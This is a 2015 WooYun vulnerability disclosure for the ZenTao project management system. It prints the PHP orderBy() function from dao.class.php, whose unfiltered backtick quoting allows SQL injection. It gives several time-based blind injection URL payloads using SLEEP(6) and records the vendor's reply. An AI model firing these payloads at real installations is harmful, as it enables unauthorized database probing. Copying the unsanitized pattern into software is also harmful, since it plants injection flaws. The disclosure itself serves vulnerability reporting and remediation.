当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0150967

漏洞标题:禅道系统设计缺陷导致多处鸡肋注入

相关厂商:禅道

漏洞作者: 不能忍

提交时间:2015-11-04 11:08

修复时间:2015-12-17 14:48

公开时间:2015-12-17 14:48

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-04: 细节已通知厂商并且等待厂商处理中
2015-11-04: 厂商已经确认,细节仅向厂商公开
2015-11-07: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-29: 细节向核心白帽子及相关领域专家公开
2016-01-08: 细节向普通白帽子公开
2016-01-18: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

主要还是过滤的问题没办法过。所以最后就只能鸡肋了

详细说明:

漏洞文件:/zentaopms/lib/dao/dao.class.php //1612行

public function orderBy($order)
{
if($this->inCondition and !$this->conditionIsTrue) return $this;
$order = str_replace(array('|', '', '_'), ' ', $order);
/* Add "`" in order string. */
/* When order has limit string. */
$pos = stripos($order, 'limit');
$orders = $pos ? substr($order, 0, $pos) : $order;
$limit = $pos ? substr($order, $pos) : '';
$orders = explode(',', $orders);
foreach($orders as $i => $order)
{
$orderParse = explode(' ', trim($order));
foreach($orderParse as $key => $value)
{
$value = trim($value);
if(empty($value) or strtolower($value) == 'desc' or strtolower($value) == 'asc') continue;
$field = trim($value, '`');
/* such as t1.id field. */
if(strpos($value, '.') !== false) list($table, $field) = explode('.', $field);
$field = "`$field`";
$orderParse[$key] = isset($table) ? $table . '.' . $field : $field;
unset($table);
}
$orders[$i] = join(' ', $orderParse);
}
$order = join(',', $orders) . ' ' . $limit;
$this->sql .= ' ' . DAO::ORDERBY . " $order";
return $this;
}


先来分析一下这个函数:$order = str_replace(array('|', '', '_'), ' ', $order);
去掉这三个,然后接下来有3个exploded,分别对,.和空格进行分割。
最后$this->sql .= ' ' . DAO::ORDERBY . " $order";这里是用`(反引号)进行分割和闭合用户提交过来的数据。但是并没有对反引号进行过滤,所以我们可以大概构造一个payload:
http://localhost/www/project-bug-build-id`and(SELECT(1)FROM(SELECT(SLEEP(6)))test)and(1=1)and`.html
但是同时这边是有个问题的,就是不能提交_所以没有办法提取到表的数据,这么一来这个设计缺陷的sql注入就显得鸡肋了,当然有root权限的话还是威胁很大的。
来看看调用这个函数的情况:

1.jpg


60多处,也就是说这个设计缺陷可能导致60多处的sql注入,虽然这个注入比较鸡肋,但是还是存在一定的威胁的。
随便来两个payload:
http://localhost/www/project-browse-2-unclosed-0-id`and(SELECT(1)FROM(SELECT(SLEEP(6)))test)and(1=1)and`-0-100.html
http://localhost/www/project-task-2-unclosed-0-id`and(SELECT(1)FROM(SELECT(SLEEP(6)))test)and(1=1)and`-0-100.html

漏洞证明:

http://localhost/www/project-browse-2-unclosed-0-id`and(SELECT(1)FROM(SELECT(SLEEP(6)))test)and(1=1)and`-0-100.html

2.jpg


http://localhost/www/project-task-2-unclosed-0-id`and(SELECT(1)FROM(SELECT(SLEEP(6)))test)and(1=1)and`-0-100.html

3.jpg

修复方案:

版权声明:转载请注明来源 不能忍@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-11-04 11:20

厂商回复:

谢谢反馈。禅道作为内部管理系统,我们假设的应用场景都是内网访问,外网的好做好访问的限制。在这个前提下,很多的问题都是可以忽略的。
内部人员的信任都无法解决的话,其实安全也没有办法解决。

最新状态:

2015-11-04:下个版本我们计划在框架层面增加统一的过滤。谢谢反馈。